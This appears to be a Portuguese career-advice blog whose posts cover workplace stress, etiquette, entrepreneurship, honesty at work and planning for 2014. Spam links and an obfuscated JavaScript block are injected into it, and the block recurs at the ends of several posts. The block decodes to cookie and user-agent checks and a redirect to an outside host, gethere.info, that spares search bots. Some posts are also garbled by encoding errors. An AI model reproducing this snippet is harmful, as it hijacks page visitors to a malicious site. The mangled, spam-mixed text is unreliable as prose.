Conexão Profissioanal

Diferentemente do que muitos pensam, o estresse sempre existiu, desde a antiguidade. No passado o que gerava o estresse era a preocupação com doenças que não tinham tratamento. Mas, com a vida moderna, a cobrança por resultados, o trânsito cada vez mais complicado, entre outros fatores, o estresse passou a ser um tema amplamente discutido.

A “necessidade” de dar conta das demandas de trabalho, associada às tecnologias (e-mails, sistemas acessados remotamente, WhatsApp, etc) vida corrida nos coloca em contato quase que permanentemente com nossos afazeres profissionais; com isso, mesmo em nossos momentos teoricamente livres, passamos a ter contato com o ambiente de trabalho

Um efeito desta “carga” pode ser a queda na produtividade associada ao estresse. Surge um profissional que geralmente não consegue se desligar do trabalho, e até mesmo fora dele, acaba por deixar de lado sua vida pessoal: lazer, filhos, pais, amigos. Seu círculo de amigos passa a ser também o das pessoas com quem trabalha.

Por isso, para essas pessoas que se sentem em alto grau de estresse, a válvula de escape é, primeiramente, ter pessoas com quem trocar ideias. Nada de guardar rancor é outra dica. Se uma situação incomoda, procure tratar com os envolvidos. Nos casos mais agudos de estresse, procurar ajuda de um profissional de saúde qualificado ou de um psicólogo pode ser necessário. Mas, há casos, que apenas uma atividade física já é suficiente. Aprender técnicas de respiração, relaxamento, como yoga e pilates também pode ser um diferencial na busca da qualidade de vida.

O importante é saber impor limites e construir formas de se relacionar melhor com as exigências do dia a dia.

http://invoexports.com/?p=729 http://tasevlab.com/?p=75356

http://www.nemesis-systems.co.uk/?p=1491 Se quisermos manter uma imagem positiva diante de amigos, clientes e, em alguns casos, da opiniA?o pA?blica, temos que seguir varias regras da boa convivA?ncia, educaAi??A?o e leis em geral. Pensando neste A?ltimo quesito, temos visto em vA?rios casos recentes, personalidades e formadores de opiniA?o colocando toda uma reputaAi??A?o a perder por infringirem a tA?o divulgada Lei Seca.

NA?o hA? como ser diferente: todos, sem exceAi??A?o, devem respeitar o velho ditado ai???se beber, nA?o dirijaai???. Para aqueles que tem vida pA?blica ou que sA?o exemplos para vA?rias pessoas, qualquer deslize se torna ainda mais grave, jA? que servem de referA?ncia para muito gente.

NA?o resta dA?vida de que Ai?? muito mais prudente e seguro optar pela utilizaAi??A?o do serviAi??o de tA?xi ou aderir ao ai???amigo da vezai???. Ser pego em uma Blitz pode ser um risco para a vida, e pode trazer, no mAi??nimo, prejuAi??zo a sua imagem profissional e pessoalvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Muitas pessoas gostam de personalizar seu espaço de trabalho. Esse fato denota um desejo de criar um ambiente acolhedor para a realização das atividades cotidianas. Mas é importante lembrar Saiba que o que você coloca na sua baia ou no seu mural tem como regra básica o limite do bom senso. Não precisamos encher nossas mesas de objetos que possam contribuir com a perda da nossa concentração.

Existem itens que devem ser evitados, como por exemplo, frases/ditados que podem soar como indireta e acabar gerando um mal estar desnecessário. Outro perigo é colocar fotos que exponham o corpo, farras com os amigos e situações de intimidade. Parece uma dica simples, mas muitos profissionais “escorregam” nesse aspecto.

Indica-se colocar na mesa de trabalho, em quantidade razoável, sem exagero, fotos da família, lembretes de trabalho, lista de ramais, entre outros itens. Vale lembrar que uma mesa de trabalho organizada, além de melhorar sua imagem com as pessoas que vem e que trabalham com você, também ajuda a otimizar seu tempo, evitando perda de coisas importantes, sujeira, e criando um ambiente melhor para trabalhar.

A publicidade que a mídia promove de uma vida com boa remuneração, com tudo aquilo que o dinheiro pode proporcionar, faz com que muitas pessoas deixem de lado um talento natural ou um interesse profissional em nome de um bom salário. É preciso estar atento, pois a busca por aquilo que confundem com sucesso pode afastar o profissional da sua verdadeira vocação, gerando uma forte sensação de vazio.

O sucesso em uma carreira é algo que se constrói gradativamente e tem significados diferentes para cada pessoa. Ganhar bem em pouco tempo, apesar de ser sonho de muitos, é uma exceção. É o caso, por exemplo, de alguns poucos jovens que ficam milionários da noite para o dia com a invenção de softwares e aplicativos para internet, ou de alguns jogadores de futebol.

A busca por bons salários e uma vida estável faz crescer todo ano o número de brasileiros que se dedicam a concursos públicos. A segurança financeira é importante para qualquer pessoa, mas a busca por ela precisa também estar atrelada a um projeto profissional que, quando bem executado, pode trazer tanto o retorno financeiro, quanto a realização profissional.

Diferentemente do que muitos acreditam, o sucesso não está ligado apenas ao retorno financeiro, mas também a fazer o que se gosta, a ser reconhecido, a sentir-se realizado.

Quando se fala em realização, enfrentar o medo e a incerteza sempre vale à pena.

http://invoexports.com/?p=703

T http://www.nemesis-systems.co.uk/?p=1535 http://tasevlab.com/?p=75402 er paixA?o por uma ideia e acreditar nela mesmo quando muita gente duvida ai??i?? eis a primeira premissa para ser um empreendedor, que nA?o Ai?? simplesmente o indivAi??duo que cria uma organizaAi??A?o. Ai?? quem faz algo diferente, possui espAi??rito criativo, busca novos caminhos, enxerga oportunidades, assumindo os riscos necessA?rios e recebendo as consequentes recompensas.

A cultura do empreendedorismo Ai?? responsA?vel pelo aquecimento da economia de um paAi??s. Olhando para o foco empresarial, observa-se que Ai?? cada vez maior o nA?mero de brasileiros empreendedores, que conseguem ver oportunidades no mercado para abrir sua empresa.

A capacidade de lideranAi??a Ai?? fundamental para quem busca empreender. NA?o basta apenas possuir uma boa ideia, ter espAi??rito desbravador e descobrir oportunidades favorA?veis. Ai?? preciso ter bastante disciplina e procurar servir de exemplo aos demais profissionais da equipe, chegando cedo ao trabalho, mostrando comprometimento e assiduidade.

O empreendedor busca novos caminhos e soluAi??Ai??es, mas para tanto necessita de metas claras, tendo em vista que Ai?? ele quem assume todos os riscos do negA?cio. Engana-se quem acredita que empreender Ai?? fA?cil, que se tem mais liberdade por nA?o haver subordinaAi??A?o a um chefe ou controle de horA?rio; para quem possui esse tipo de crenAi??a, Ai?? preferAi??vel, sem dA?vida, buscar outra linha profissional.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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http://mangipudi.com/sale-lady-era/ http://teragrub.com/geriforte-price-india/ http://www.nemesis-systems.co.uk/?p=1570

As regras de etiqueta e boas maneiras ditam que Ai?? preciso adaptar-se a cada local da melhor forma para garantir uma convivA?ncia agradA?vel com as outras pessoas. No ambiente de trabalho nA?o Ai?? diferente: manter o nAi??vel de formalidade necessA?rio pode ajudar o profissional a se relacionar bem.

Entre os que sA?o novos no mercado, Ai?? comum se deixar levar pela informalidade. Em geral, os jovens tA?m uma conduta mais despojada na faculdade e a reproduzem na empresa, o que deve ser evitado. Esse comportamento pode ser percebido, sobretudo, pela maneira imprA?pria de se vestir (roupas muito justas ou apertadas, que muitas vezes dA?o mais destaque ao profissional pela sensualidade) e por uma forma inadequada de se relacionar tanto com o gestor quanto com os colegas.

Como no ambiente profissional Ai?? preferAi??vel ser mais respeitoso, algumas dicas sA?o valiosas. A primeira Ai?? atentar para o cA?digo de vestimenta da empresa. No ambiente empresarial, por exemplo, as roupas de cores sA?brias e peAi??as compostas sA?o as mais indicadas. Depois, hA? que se respeitar a hierarquia, uma vez que nA?o se deve deixar o profissionalismo de lado mesmo quando se tem gestores jovens e um ambiente descontraAi??do. Temos ainda uma terceira dica: em caso de ter amigos na empresa, evite chamA?-los por apelidos e o excesso nas brincadeiras.

Assim, tomando alguns cuidados, Ai?? fA?cil manter uma postura profissional no ambiente de trabalho e ganhar mais respeito dos colegas e gestores. Deve-se ter sempre em mente que Ai?? fundamental tratar todos de acordo com as regras do local e manter uma postura condizente.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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http://mangipudi.com/cheap-metoprolol/ http://www.nemesis-systems.co.uk/?p=1606

S http://teragrub.com/skunk-seeds-1/ im, todos mentem em algum momento. Os pontos de vista dividem-se apenas quanto Ai?? questA?o moral da mentira. Mas, discussAi??es Ai?? parte, por mais que seja bem contada, ai???a mentira tem perna curtaai??? ai??i?? como afirma um ditado popular. E, em tempos de redes sociais, ela encurtou ainda mais as suas pernas. As pessoas muitas vezes se esquecem que aquilo que Ai?? publicado na rede social pode chegar aos colegas de trabalho e gestores. Quando dizem ter ido a um lugar ai??i?? no mAi??dico, por exemplo – e aparecem em fotos numa festa, estA?o comprometendo sua imagem pessoal e profissional. Mas por que essas mentiras ainda sA?o praticadas?

Talvez para uma cultura profissional hierA?rquica rAi??gida, a mentira seja tida por muitos como inerente ao ambiente profissional. Para aqueles que a tomam como instinto humano de sobrevivA?ncia, inventar desculpas Ai?? a soluAi??A?o mais fA?cil para se evitarem conflitos e responsabilidades.

Entretanto, antes de mentir sobre aquele prazo descumprido ou sobre aquele atraso, deve-se ter consciA?ncia de que a verdade garantirA? credibilidade, tornando mais fA?ceis as negociaAi??Ai??es pessoais e profissionais no ambiente de trabalho. Antecipar-se Ai??s dificuldades na realizaAi??A?o de uma tarefa e sempre negociar Ai?? fundamental para o profissional. Afinal, quanto mais credibilidade, mais apoio por parte do gestor.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Vive-se num tempo em que a comunicação acontece de maneira cada vez mais intensa e acelerada. A linguagem das mídias sociais — mais coloquial, com muitas abreviações devido à velocidade que esses canais de comunicação exigem — é amplamente usada, especialmente pelos mais jovens.

No ambiente de trabalho, porém, as coisas são um pouco diferentes, e o informalismo deve ser colocado um pouco de lado. As organizações têm valorizado os profissionais com boa capacidade de comunicação, tanto na fala quanto na escrita, incluindo, por exemplo, prova de redação nos seus processos seletivos.

É importante dizer que a habilidade para escrever textos com sentido e mensagens bem articuladas é algo que exige treino e dedicação, além de muita leitura. E-mails mal redigidos, com pouca clareza, e apresentação de slides com erros de ortografia podem criar situações constrangedoras e até gerar a impressão de que o profissional é descuidado no cumprimento das suas atividades.

Na hora de se comunicar é preciso estar atento ao contexto em que se está inserido e aos destinatários. No ambiente profissional deve-se esquecer do informalismo das mídias sociais, especialmente no momento da escrita —habilidade cada vez mais procurada pelas empresas.

No Brasil, é comum ouvir dizer que o ano só começa de verdade depois do Carnaval. Tradicionalmente, janeiro é um mês que tem um ritmo diferente, muitas pessoas tiram férias ou passam por um pequeno recesso profissional. Assim, algumas promessas para o ano novo acabam não sendo cumpridas nos primeiros dias do ano e costumam ser adiadas para depois da Folia de Momo. E quando o Carnaval é só em março?

Passado o Carnaval, é hora de aqueles que não organizaram a sua agenda de trabalho em janeiro e fevereiro estabelecerem as suas metas e os seus objetivos profissionais. Em 2014, essa tarefa deve ser feita com um pouco mais de atenção, pois se trata de um ano atípico: Copa do Mundo (realizada no País) e eleições.

Os eventos que acontecerão neste ano trarão grande impacto social e econômico. Teremos mais feriados e isso afetará a programação de todos. O planejamento dos cursos que o profissional deseja fazer, os prazos de entrega de trabalhos, as visitas a clientes e até as férias (para quem não as tirou no início do ano) irão se reger de acordo com o calendário apertado de 2014.

Para quem ainda não traçou seu calendário profissional para este ano e acredita ser válida a máxima de que no nosso país o ano só começa depois do Carnaval, não há mais motivos para adiamento. O ano será “curto” e é preciso estar atento aos eventos e aos feriados na hora de organizar a agenda e firmar compromissos.

Entre os brasileiros, as atividades físicas são um item obrigatório na lista de promessas de ano-novo. Mas, em cada canto do País, a propalada falta de tempo vem sendo o principal motivo para que milhões de pessoas permaneçam numa rotina sedentária, fator de problemas como hipertensão arterial, diabetes, estresse e depressão.

Quando se decide priorizar a saúde, o procurado espaço na agenda não é tão difícil de ser achado. Acordar um pouco mais cedo é uma solução para quem sofre com a falta de tempo. Outras alternativas, como trocar o conforto de um automóvel pela disposição física proporcionada por uma bicicleta, resolvem também o problema de quem não quer enfrentar as academias lotadas. Afinal, na luta contra o sedentarismo, buscar uma atividade que proporcione prazer pode ser a chave para se ganhar ritmo e tomar gosto. O importante é manter a regularidade, visto que é esse fator que garantirá uma vida saudável.

Uma pessoa que pratica uma atividade física terá maior disposição para a realização das suas tarefas diárias, ganhará na capacidade produtiva e provavelmente terá menor risco de sofrer de algumas doenças ligadas ao estresse. Com isso, os afastamentos do trabalho tendem a diminuir. Isso é uma das razões que fazem cada vez mais as empresas investirem no bem-estar e na qualidade de vida dos funcionários.